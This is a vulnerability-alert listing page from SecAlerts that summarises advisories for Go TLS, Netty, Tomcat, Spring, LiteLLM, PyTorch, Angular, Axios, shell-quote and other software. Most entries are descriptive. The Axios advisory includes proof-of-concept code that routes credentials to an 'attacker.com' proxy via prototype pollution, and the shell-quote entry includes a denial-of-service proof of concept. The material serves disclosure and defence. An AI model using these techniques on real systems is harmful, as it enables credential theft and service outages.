Where
AND
-Infinity
0
Severity
10
AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

During session resumption in crypto/tls, if the underlying Config has its ClientCAs or RootCAs fields mutated between the initial handshake and the resumed handshake, the resumed handshake may succeed when it should have failed. This may happen when a user calls Config.Clone and mutates the returned Config, or uses Config.GetConfigForClient. This can cause a client to resume a session with a server that it would not have resumed with during the initial handshake, or cause a server to resume a session with a client that it would not have resumed with during the initial handshake.

1 / 2
Source: MITRE
First published (updated )
Severity
10
Input Validation
AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Last updated 6 May 2026

1 / 3
Source: Ubuntu
First published (updated )
Severity
10
AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N

Summary Netty's DnsResolveContext fails to validate the origin (bailiwick) of CNAME records in DNS responses.

Details In io.netty.resolver.dns.DnsResolveContext#buildAliasMap, the resolver processes the ANSWER section of a DNS response and blindly caches all CNAME records it finds.

According to https://datatracker.ietf.org/doc/html/rfc5452#section-6

Care must be taken to only accept data if it is known that the originator is authoritative for the QNAME or a parent of the QNAME. One very simple way to achieve this is to only accept data if it is part of the domain for which the query was intended.

Impact DNS Cache Poisoning (Bailiwick Bypass). Any application using Netty's DNS resolver is impacted.

1 / 2
Source: GitHub
First published (updated )
Severity
10
AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N

Summary Netty's DnsResolveContext insufficiently validates the bailiwick of NS records, enabling DNS Cache Poisoning. An attacker controlling an authoritative name server for a subdomain can poison the cache for parent domains (like .co.uk).

Details In io.netty.resolver.dns.DnsResolveContext.AuthoritativeNameServerList#add method accepts any NS record from the AUTHORITY section as long as the record's name is a suffix of the questionName.

This means if the resolver queries evil.co.uk., it will accept an NS record claiming authority over co.uk.. Subsequently, the handleWithAdditional method caches the associated A records from the ADDITIONAL section directly into the authoritativeDnsServerCache under the parent domain's key (co.uk.). This bypasses standard bailiwick rules, where a server authoritative for a subdomain should not be trusted to provide authoritative records for its parent. The poisoned cache is then used for all future resolutions under co.uk..

The io.netty.resolver.dns.DnsResolveContext.AuthoritativeNameServerList#cache method only prevents caching if the record is for the root zone (dots == 1).

Impact DNS Cache Poisoning. Any application using Netty's DNS resolver is impacted.

1 / 3
Source: GitHub
First published (updated )
Severity
9.8
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Natural Language Toolkit (NLTK) could allow a remote attacker to execute arbitrary code on the system, caused by a flaw when an untrusted packages have pickled Python code, and the integrated data package download functionality is used. By sending a specially crafted request, an attacker could exploit this vulnerability to execute arbitrary code on the system.

1 / 2
Source: IBM
First published (updated )
Severity
9.8
AV:A/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L

Spring Boot's Cassandra auto-configuration does not perform hostname verification when establishing an SSL connection to Cassandra.

Affected: Spring Boot 4.0.0–4.0.5 (fix 4.0.6), 3.5.0–3.5.13 (fix 3.5.14), 3.4.0–3.4.15 (fix 3.4.16), 3.3.0–3.3.18 (fix 3.3.19), 2.7.0–2.7.32 (fix 2.7.33); Cassandra SSL auto-configuration. Versions that are no longer supported are also affected per vendor advisory.

First published (updated )
Severity
9.8
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

DEPRECATED: Authentication Bypass Issues vulnerability in digest authentication in Apache Tomcat.

1 / 4
Source: Launchpad
First published (updated )
Severity
9.8
Input Validation
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Improper Input Validation vulnerability in Apache Tomcat.

1 / 4
Source: Launchpad
First published (updated )
Severity
9.8
OS Command Injection
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

IBM Concert 1.0.0 through 3.0.0 allows an unauthenticated remote attacker can supply specially crafted input that is incorporated into OS commands, resulting in arbitrary command execution on the underlying system. Successful exploitation allows remote code execution with the privileges of the affected application.

1 / 2
Source: MITRE
First published (updated )
Severity
9.8
Buffer Overflow
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

IBM Concert 1.0.0 through 3.0.0 is vulnerable to a buffer overflow, caused by improper bounds checking. A local user could overflow the buffer and execute arbitrary code on the system.

First published (updated )
Severity
9.8
Use After Free
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

IBM Concert 1.0.0 through 3.0.0 references or accesses memory after it has been freed. This allows an attacker who can influence program execution or input may exploit this condition to corrupt memory, cause application crashes, or execute arbitrary code.

1 / 2
Source: MITRE
First published (updated )
Severity
9.8
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L/E:P/RL:U/RC:C

This affects the package thenify before 3.3.1. The name argument provided to the package can be controlled by users without any sanitization, and this is provided to the eval function without any sanitization.

First published (updated )
Severity
9.6
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N

Authentication bypass by primary weakness vulnerability in Spring Security Spring Authorization Server.

This issue affects Spring Authorization Server: from 7.0.0 through 7.0.4, from 1.5.0 through 1.5.6, from 1.4.0 through 1.4.9, from 1.3.0 through 1.3.10.

First published (updated )
Severity
9.6
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N

IBM Concert 1.0.0 through 3.0.0 could allow a remote authenticated attacker to access or modify unauthorized resources due to the use of wildcards in RBAC permission definitions.

1 / 2
Source: MITRE
First published (updated )
Severity
9.5
AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Impact

A Host-header parsing flaw in the LiteLLM proxy could, under specific conditions, allow unauthenticated access to protected management routes.

The auth layer derived the effective route from request.url.path in litellm/proxy/auth/authutils.py::getrequestroute(), which Starlette reconstructs from the Host header. A crafted Host could therefore make the auth gate evaluate a different route from the one FastAPI dispatched.

Most deployments are not affected. The bypass is blocked by any upstream layer that validates or normalizes Host, such as:

- a CDN or WAF, such as Cloudflare - a reverse proxy with servername allowlists - a host-based load balancer

LiteLLM Cloud customers are not affected.

Patches

Fixed in 1.84.0. Upgrade to 1.84.0 or later. No configuration change is required.

Workarounds

If upgrading is not immediately possible, place the proxy behind an upstream component that validates or normalizes the Host header before forwarding (a CDN/WAF, a reverse proxy with explicit servername allowlists, or a cloud load balancer with host-based routing rules), or otherwise restrict network access to the proxy listener.

References

- Patched release: v1.84.0

Discovery Credit: Le The Thang (KCSC) and Kim Ngoc Chung (One Mount Group)

1 / 3
Source: GitHub
First published (updated )
Severity
9.4
Code Injection
AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

protobufjs could execute generated JavaScript code derived from protobuf schema metadata. When loading a crafted JSON descriptor, schema-controlled type names and type references could reach runtime code generation without sufficient validation.

Impact

An attacker who can provide a malicious protobuf definition or JSON descriptor to an application may be able to execute arbitrary JavaScript in the context of the process using protobufjs.

This requires control over the protobuf schema or descriptor being loaded. Applications that only decode messages using trusted, application-defined schemas are not directly affected by this issue.

Preconditions

- The application must allow an attacker to control or influence a protobuf definition or JSON descriptor. - The application must load that definition through protobufjs reflection APIs such as descriptor loading. - The affected generated-code path must be reached, for example by performing an operation on the loaded type.

Workarounds

Do not load protobuf definitions or JSON descriptors from untrusted sources with affected versions. If untrusted schemas must be accepted, validate or restrict them before loading and run schema processing in an isolated environment.

1 / 4
Source: OSV
First published (updated )
Severity
9.3
EPSS
0.41%
AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Description I found a Remote Command Execution (RCE) vulnerability in PyTorch. When loading model using torch.load with weightsonly=True, it can still achieve RCE.

Background knowledge https://github.com/pytorch/pytorch/security As you can see, the PyTorch official documentation considers using torch.load() with weightsonly=True to be safe. !image Since everyone knows that weightsonly=False is unsafe, so they will use the weightsonly=True to mitigate the seucirty issue. But now, I just proved that even if you use weightsonly=True, it can still achieve RCE.

Credit This vulnerability was found by Ji'an Zhou.

1 / 3
Source: GitHub
First published (updated )
Severity
9.2
EPSS
0.02%
AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

@isaacs/brace-expansion is a hybrid CJS/ESM TypeScript fork of brace-expansion. Prior to version 5.0.1, @isaacs/brace-expansion is vulnerable to a denial of service (DoS) issue caused by unbounded brace range expansion. When an attacker provides a pattern containing repeated numeric brace ranges, the library attempts to eagerly generate every possible combination synchronously. Because the expansion grows exponentially, even a small input can consume excessive CPU and memory and may crash the Node.js process. This issue has been patched in version 5.0.1.

1 / 2
Source: MITRE
First published (updated )
Severity
9.1
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

When applications specify HTTP response headers for servlet applications using Spring Security, there is the possibility that the HTTP Headers will not be written.  This issue affects Spring Security Servlet applications using lazy (default) writing of HTTP Headers:

: from 5.7.0 through 5.7.21, from 5.8.0 through 5.8.23, from 6.3.0 through 6.3.14, from 6.4.0 through 6.4.14, from 6.5.0 through 6.5.8, from 7.0.0 through 7.0.3.

1 / 2
Source: MITRE
First published (updated )
Severity
9.1
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

CLIENTCERT authentication does not fail as expected for some scenarios when soft fail is disabled vulnerability in Apache Tomcat, Apache Tomcat Native.

This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.18, from 10.1.0-M7 through 10.1.52, from 9.0.83 through 9.0.115; Apache Tomcat Native: from 1.1.23 through 1.1.34, from 1.2.0 through 1.2.39, from 1.3.0 through 1.3.6, from 2.0.0 through 2.0.13.

Users are recommended to upgrade to version Tomcat Native 1.3.7 or 2.0.14 and Tomcat 11.0.20, 10.1.53 and 9.0.116, which fix the issue.

First published (updated )
Severity
9.1
AV:A/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L

When configured to use an SSL bundle, Spring Boot's RabbitMQ auto-configuration does not perform hostname verification when connecting to the RabbitMQ broker.

Affected: Spring Boot 4.0.0–4.0.5 (fix 4.0.6), 3.5.0–3.5.13 (fix 3.5.14) per vendor advisory.

First published (updated )
Severity
9.1
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Improper Authorization vulnerability when multiple method constraints define an HTTP method for the same extension in Apache Tomcat.

1 / 4
Source: Launchpad
First published (updated )
Severity
8.8
EPSS
0.02%
Code Injection
AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Summary

A vulnerability in PyTorch's weightsonly unpickler allows an attacker to craft a malicious checkpoint file (.pth) that, when loaded with torch.load(..., weightsonly=True), can corrupt memory and potentially lead to arbitrary code execution.

Vulnerability Details

The weightsonly=True unpickler failed to properly validate pickle opcodes and storage metadata, allowing:

1. Heap memory corruption via SETITEM/SETITEMS opcodes applied to non-dictionary types 2. Storage size mismatch between declared element count and actual data in the archive

Impact

An attacker who can convince a user to load a malicious checkpoint file may achieve arbitrary code execution in the context of the victim's process.

Credit Ji'an Zhou

1 / 2
Source: GitHub
First published (updated )
Severity
8.8
Code Injection
AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

A critical vulnerability exists in the NLTK downloader component of nltk/nltk, affecting all versions. The unzipiter function in nltk/downloader.py uses zipfile.extractall() without performing path validation or security checks. This allows attackers to craft malicious zip packages that, when downloaded and extracted by NLTK, can execute arbitrary code. The vulnerability arises because NLTK assumes all downloaded packages are trusted and extracts them without validation. If a malicious package contains Python files, such as init.py, these files are executed automatically upon import, leading to remote code execution. This issue can result in full system compromise, including file system access, network access, and potential persistence mechanisms.

First published (updated )
Severity
8.8
Code Injection
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Impact

The POST /guardrails/testcustomcode endpoint runs user-supplied Python inside a hand-rolled sandbox. The sandbox can be escaped using bytecode-level techniques, allowing arbitrary code execution in the proxy process — which runs as root in the default Docker image.

Reaching the endpoint requires a proxy-admin credential in default configurations.

Patches

Fixed in 1.83.11. The hand-rolled sandbox has been replaced with RestrictedPython. Upgrade to 1.83.11 or later.

Workarounds

If upgrading is not immediately possible, block POST /guardrails/testcustomcode at your reverse proxy or API gateway.

References

- Patched release: v1.83.10-stable

1 / 2
Source: GitHub
First published (updated )
Severity
8.8
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N

Quarkus is a Java framework for building cloud-native applications. In versions prior to 3.20.6.1, 3.27.3.1, 3.33.1.1, 3.35.1.1, 3.34.7, and 3.35.2, a path normalization inconsistency between the security layer and the routing layer allows unauthenticated or lower-privileged users to bypass HTTP path-based authorization policies. Quarkus's security layer performs authorization checks on the raw URL path which preserves matrix parameters (semicolons), while RESTEasy Reactive's routing layer strips matrix parameters before matching endpoints. An attacker can append a semicolon and arbitrary text to a request URL (e.g., /api/admin;anything) to bypass policies protecting /api/admin while still routing to the protected endpoint. This issue has been fixed in versions 3.20.6.1, 3.27.3.1, 3.33.1.1, 3.35.1.1, 3.34.7, and 3.35.2.

1 / 5
Source: MITRE
First published (updated )
Severity
8.8
XSS
AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Angular is a development platform for building mobile and desktop web applications using TypeScript/JavaScript and other languages. Prior to 22.0.1, 21.2.17, and 20.3.25, Angular's HttpTransferCache caches HTTP requests made during Server-Side Rendering (SSR) so that they can be reused during client-side hydration. This avoids repeating the same HTTP requests on the client. The cached responses are stored in TransferState using a cache key generated by hashing request properties (method, response type, mapped URL, serialized body, and sorted query parameters). The cache keys are generated using a weak 32-bit DJB2-like polynomial rolling hash. The 32-bit hash space is extremely small, allowing attackers to find hash collisions. An attacker can easily find a query parameter string (e.g., q=aaCAZMMM for a search request) that produces the exact same 32-bit hash as a sensitive endpoint (e.g., /api/user/profile). When a victim visits a crafted link containing the colliding parameter, the SSR process executes both the search request and the profile request. Due to the hash collision, the search response overwrites the profile response in the TransferState cache. This vulnerability is fixed in 22.0.1, 21.2.17, and 20.3.25.

1 / 2
Source: MITRE
First published (updated )
Severity
8.8
AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Angular is a development platform for building mobile and desktop web applications using TypeScript/JavaScript and other languages. Prior to 20.3.27, 21.2.19, and 22.0.2, HttpTransferCache comma-joins repeated request parameters, allowing semantically distinct HttpClient requests to use the same transfer-cache key and reuse a wrong backend response. This issue is fixed in versions 20.3.27, 21.2.19, and 22.0.2.

1 / 2
Source: MITRE
First published (updated )
Severity
8.7
SSRF
AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N

Vulnerability Disclosure: Full Man-in-the-Middle via Prototype Pollution Gadget in config.proxy

Summary

The Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any Object.prototype pollution in the application's dependency tree to be escalated into a full Man-in-the-Middle (MITM) attack — intercepting, reading, and modifying all HTTP traffic including authentication credentials.

The HTTP adapter at lib/adapters/http.js:670 reads config.proxy via standard property access, which traverses the prototype chain. Because proxy is not present in Axios defaults, the merged config object has no own proxy property, making it trivially injectable via prototype pollution. Once injected, setProxy() routes all HTTP requests through the attacker's proxy server.

Unlike the transformResponse gadget (which is constrained by assertOptions to return true), the proxy gadget has zero constraints — the attacker gets a full MITM position with the ability to read all credentials and tamper with all responses.

Severity: Critical (CVSS 9.4) Affected Versions: All versions (v0.x - v1.x including v1.15.0) Vulnerable Component: lib/adapters/http.js (config property access on merged object)

CWE

- CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution') - CWE-441: Unintended Proxy or Intermediary ('Confused Deputy')

CVSS 3.1

Score: 9.4 (Critical)

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L

| Metric | Value | Justification | |---|---|---| | Attack Vector | Network | PP is triggered remotely via any vulnerable dependency | | Attack Complexity | Low | Once PP exists, single property assignment: Object.prototype.proxy = {host:'attacker', port:8080}. Consistent with GHSA-fvcv-3m26-pcqx scoring methodology | | Privileges Required | None | No authentication needed | | User Interaction | None | No user interaction required | | Scope | Unchanged | MITM within the application's network context | | Confidentiality | High | Attacker sees ALL request data: Authorization headers, auth credentials, cookies, request bodies, full URLs (including internal hostnames) | | Integrity | High | Attacker can modify ALL responses: inject malicious data, alter API results, redirect authentication flows. No constraints — unlike transformResponse which must return true | | Availability | Low | Attacker could drop requests or return errors, but this is secondary to C/I impact |

Why This Bypasses mergeConfig

The critical difference from transformResponse: the proxy property is not in defaults (lib/defaults/index.js does not set proxy). This means:

1. mergeConfig iterates Object.keys({...defaults, ...userConfig}) — proxy is NOT in this set 2. defaultToConfig2 for proxy is never called 3. The merged config has no own proxy property 4. When http.js:670 reads config.proxy, JavaScript traverses the prototype chain 5. Object.prototype.proxy is found → used by setProxy()

This is a more direct attack path than transformResponse because it doesn't even go through mergeConfig's merge logic — it completely bypasses it.

Usage of "Helper" Vulnerabilities

This vulnerability requires Zero Direct User Input.

If an attacker can pollute Object.prototype via any other library in the stack (e.g., qs, minimist, lodash, body-parser), Axios will automatically use the polluted proxy value when making HTTP requests. The developer's code is completely safe — no configuration errors needed.

Proof of Concept

1. The Setup (Simulated Pollution)

Imagine a scenario where a known prototype pollution vulnerability exists in a query parser. The attacker sends a payload that sets:

javascript Object.prototype.proxy = { host: 'attacker.com', port: 8080, protocol: 'http', };

2. The Gadget Trigger (Safe Code)

The application makes a completely safe, hardcoded request:

javascript // This looks safe to the developer — no proxy configured const response = await axios.get('https://api.internal.corp/secrets', { auth: { username: 'svc-account', password: 'prod-key-abc123!' } });

3. The Execution

At http.js:668-670: javascript setProxy( options, config.proxy, // ← traverses prototype chain → finds polluted proxy protocol + '//' + parsed.hostname + (parsed.port ? ':' + parsed.port : '') + options.path );

setProxy() at http.js:191-239 then: javascript function setProxy(options, configProxy, location) { let proxy = configProxy; // = { host: 'attacker.com', port: 8080 } // ... if (proxy) { options.hostname = proxy.hostname || proxy.host; // → 'attacker.com' options.port = proxy.port; // → 8080 options.path = location; // → full URL as path // ... } }

4. The Impact (Full MITM)

The attacker's proxy server receives:

http GET http://api.internal.corp/secrets HTTP/1.1 Host: api.internal.corp Authorization: Basic c3ZjLWFjY291bnQ6cHJvZC1rZXktYWJjMTIzIQ== User-Agent: axios/1.15.0 Accept: application/json, text/plain, /

The Authorization header contains svc-account:prod-key-abc123! in Base64. The attacker: - Sees every request URL, header, and body - Modifies every response (inject malicious data, change auth results) - Logs all API keys, session tokens, and passwords - Operates as an invisible proxy — the developer has no indication

5. Verified PoC Code

javascript import http from 'http'; import axios from './index.js';

// Attacker's proxy server const intercepted = []; const proxyServer = http.createServer((req, res) => { intercepted.push({ url: req.url, authorization: req.headers.authorization, headers: req.headers, }); res.writeHead(200, { 'Content-Type': 'application/json' }); res.end('{"hijacked":true}'); }); await new Promise(r => proxyServer.listen(0, r)); const proxyPort = proxyServer.address().port;

// Real target server const realServer = http.createServer((req, res) => { res.writeHead(200); res.end('{"data":"real"}'); }); await new Promise(r => realServer.listen(0, r)); const realPort = realServer.address().port;

// Prototype pollution Object.prototype.proxy = { host: '127.0.0.1', port: proxyPort, protocol: 'http' };

// "Safe" request — goes through attacker's proxy const resp = await axios.get(http://127.0.0.1:${realPort}/api/secrets, { auth: { username: 'admin', password: 'SuperSecret123!' } });

console.log('Response from:', resp.data.hijacked ? 'ATTACKER PROXY' : 'real server'); console.log('Intercepted Authorization:', intercepted[0]?.authorization); // Output: Basic YWRtaW46U3VwZXJTZWNyZXQxMjMh (= admin:SuperSecret123!)

delete Object.prototype.proxy; realServer.close(); proxyServer.close();

Verified PoC Output

[1] Normal request (before pollution): Response source: real server response.data: {"data":"from-real-server"} Proxy intercept count: 0

[2] Prototype Pollution: Object.prototype.proxy Set: Object.prototype.proxy = { host: "127.0.0.1", port: 50879 }

[3] Request after pollution (same code, same URL): Response source: ATTACKER PROXY! response.data: {"data":"from-attacker-proxy","hijacked":true}

[4] Data intercepted by attacker's proxy: Full URL: http://127.0.0.1:50878/api/secrets Host: 127.0.0.1:50878 Authorization: Basic YWRtaW46U3VwZXJTZWNyZXQxMjMh All headers: { "accept": "application/json, text/plain, /", "user-agent": "axios/1.15.0", "accept-encoding": "gzip, compress, deflate, br", "host": "127.0.0.1:50878", "authorization": "Basic YWRtaW46U3VwZXJTZWNyZXQxMjMh", "connection": "keep-alive" }

[5] Attacker capabilities demonstrated: ✓ Full URL visible (including internal hostnames) ✓ Authorization header visible (Base64-encoded credentials) ✓ Can modify/forge response data ✓ Affects ALL axios HTTP requests (not just a single instance) ✓ No assertOptions constraints (unlike transformResponse gadget)

Impact Analysis

- Full Credential Interception: Every HTTP request's Authorization header, cookies, API keys, and request bodies are visible to the attacker's proxy in plaintext. - Arbitrary Response Tampering: The attacker can return any response data — no constraints like transformResponse's "must return true". - Internal Network Reconnaissance: The proxy sees all request URLs, revealing internal hostnames, ports, and API paths. - Universal Scope: Affects every axios HTTP request in the application, including all third-party libraries that use axios. - Invisible Attack: The developer has no indication that a proxy has been injected — requests complete normally with attacker-controlled responses. - Bypass of 1.15.0 Fix: The header sanitization patch in v1.15.0 (GHSA-fvcv-3m26-pcqx) does NOT address this vector.

Why This Is More Severe Than transformResponse (axios26)

| Dimension | transformResponse Gadget | proxy Gadget | |---|---|---| | Data access | this.auth + response data | All headers, auth, body, URL, response | | Response control | Must return true | Arbitrary responses | | Attack visibility | Response becomes true (suspicious) | Normal-looking responses (invisible) | | mergeConfig involvement | Goes through defaultToConfig2 | Bypasses mergeConfig entirely |

Recommended Fix

Fix 1: Use hasOwnProperty when reading security-sensitive config properties

javascript // In lib/adapters/http.js const proxy = Object.prototype.hasOwnProperty.call(config, 'proxy') ? config.proxy : undefined; setProxy(options, proxy, location);

Fix 2: Enumerate all properties not in defaults and apply hasOwnProperty

Properties not in defaults that are read by http.js and have security impact: - config.proxy — MITM - config.socketPath — Unix socket SSRF - config.transport — request hijack - config.lookup — DNS hijack - config.beforeRedirect — redirect manipulation - config.httpAgent / config.httpsAgent — agent injection

All should use hasOwnProperty checks.

Fix 3: Use null-prototype object for merged config

javascript // In lib/core/mergeConfig.js const config = Object.create(null);

Resources

- CWE-1321: Prototype Pollution - CWE-441: Unintended Proxy - GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios (Fixed in 1.15.0) - Axios GitHub Repository

Timeline

| Date | Event | |---|---| | 2026-04-16 | Vulnerability discovered during source code audit | | 2026-04-16 | PoC developed and verified — full MITM confirmed | | TBD | Report submitted to vendor via GitHub Security Advisory |

1 / 2
Source: GitHub
First published (updated )
Severity
8.7
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary shell-quote's parse() finalizes its token list with a reduce that uses Array.prototype.concat as the accumulator. Each prev.concat(arg) copies the entire growing array, so parse() runs in O(n²) in the number of tokens. An unauthenticated attacker who can submit a string to any code path that calls parse() on it can block the single-threaded Node.js event loop for tens of seconds with a small input — a denial of service. The trigger needs no shell metacharacters (plain space-separated words suffice), so input filters that only screen for ;, |, $, or backticks do not help.

Root cause parse.js (lines 200–203), in parseInternal — this path runs on every parse() call:

js }).reduce(function (prev, arg) { // finalize parsed arguments // TODO: replace this whole reduce with a concat return typeof arg === 'undefined' ? prev : prev.concat(arg); }, []);

prev.concat(arg) allocates a new array and copies all of prev on every iteration, so producing an N-token result costs 1 + 2 + … + N = O(N²) copies. A second acc.concat(s) reduce in the module.exports wrapper (lines 211–224, reached only when env is a function) has the same shape. The maintainer's own // TODO: replace this whole reduce with a concat already flags the construct.

Proof of Concept js const { parse } = require('shell-quote'); const ms = fn => { const t = process.hrtime.bigint(); fn(); return Number(process.hrtime.bigint()-t)/1e6; }; for (const N of [16000, 32000, 64000, 128000]) { console.log(N, 'tokens ->', ms(() => parse('x '.repeat(N))).toFixed(0), 'ms'); }

Measured on shell-quote@1.8.4, Node v24:

| input (N tokens) | bytes | parse() | ratio vs prev (2× input) | |-----------------:|-------:|----------:|:------------------------:| | 16 000 | 32 KB | 678 ms | — | | 32 000 | 64 KB | 4 169 ms | ×6.2 | | 64 000 | 128 KB | 14 914 ms | ×3.6 | | 128 000 | 256 KB | 57 319 ms | ×3.8 |

Time grows ~×4 per 2× input → confirmed O(n²). A ~128 KB input blocks the event loop ~15 s; ~256 KB → ~57 s; a few hundred KB more → minutes. <img width="656" height="214" alt="image" src="https://github.com/user-attachments/assets/e8955b0e-0527-45ca-94b7-c3a2d8c0c82e" /> poc.js

Impact parse() is synchronous on the main thread; while it copies arrays quadratically the entire event loop is blocked and the process serves no other requests. Any service that calls parse() on attacker-influenced input (command parsers, chat-ops / bot command handlers, REPLs, build-script / arg-string splitters) can be driven to a sustained DoS with a single small request. No code execution and no data disclosure — availability only.

End-to-end confirmation: a minimal HTTP server that calls parse() on the request body, hit with one POST of 'x '.repeat(32000) (~63 KB), froze for ~4.5 s. An out-of-process probe client issuing harmless GET /ping requests (normally ~1 ms) observed 27 consecutive pings stalled by up to 4374 ms during that single request — i.e. every concurrent client was denied service for the whole parse. Scaling the body to a few hundred KB extends the outage to minutes.

This is the same class as several accepted 2026 advisories for quadratic-parser DoS on untrusted input (e.g. markdown-it CVE-2026-48988, js-yaml CVE-2026-53550, python-multipart CVE-2026-53539). It is distinct from the known shell-quote command-injection issues (CVE-2021-42740, CVE-2016-10541, CVE-2026-9277), which are all in quote(), not parse().

Suggested remediation Replace the O(n²) concat-in-reduce with a linear flatten that pushes into the accumulator instead of reallocating and copying it on every iteration. Apply the same shape to the wrapper's acc.concat(s) reduce. A defensive input-length cap on parse() is a cheap additional stop-gap.

Maintainer note (edit): the originally-suggested Array.prototype.flat() is ES2019 / Node 11+, but shell-quote declares engines: node >= 0.4, so .flat() would silently drop support for older runtimes. The fix instead flattens one-level array tokens with forEach/push — and deliberately not push.apply(...), since spreading a large array into function arguments can exceed the engine's argument count limit. Output is byte-identical to the current code across strings, undefined holes, one-level array tokens, and {op}/{comment}/{op:'glob'} objects, and finalizing is now linear (1,024,000 tokens in ~150 ms vs ~57 s for 128,000 before). Thanks for the clear report and PoC — the analysis and reproduction were spot on.

Disclosure Found by source audit + wall-clock confirmation against 1.8.4 (and verified the same code is present on main). Reported privately here; no public disclosure until a fix is available.

1 / 2
Source: GitHub
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203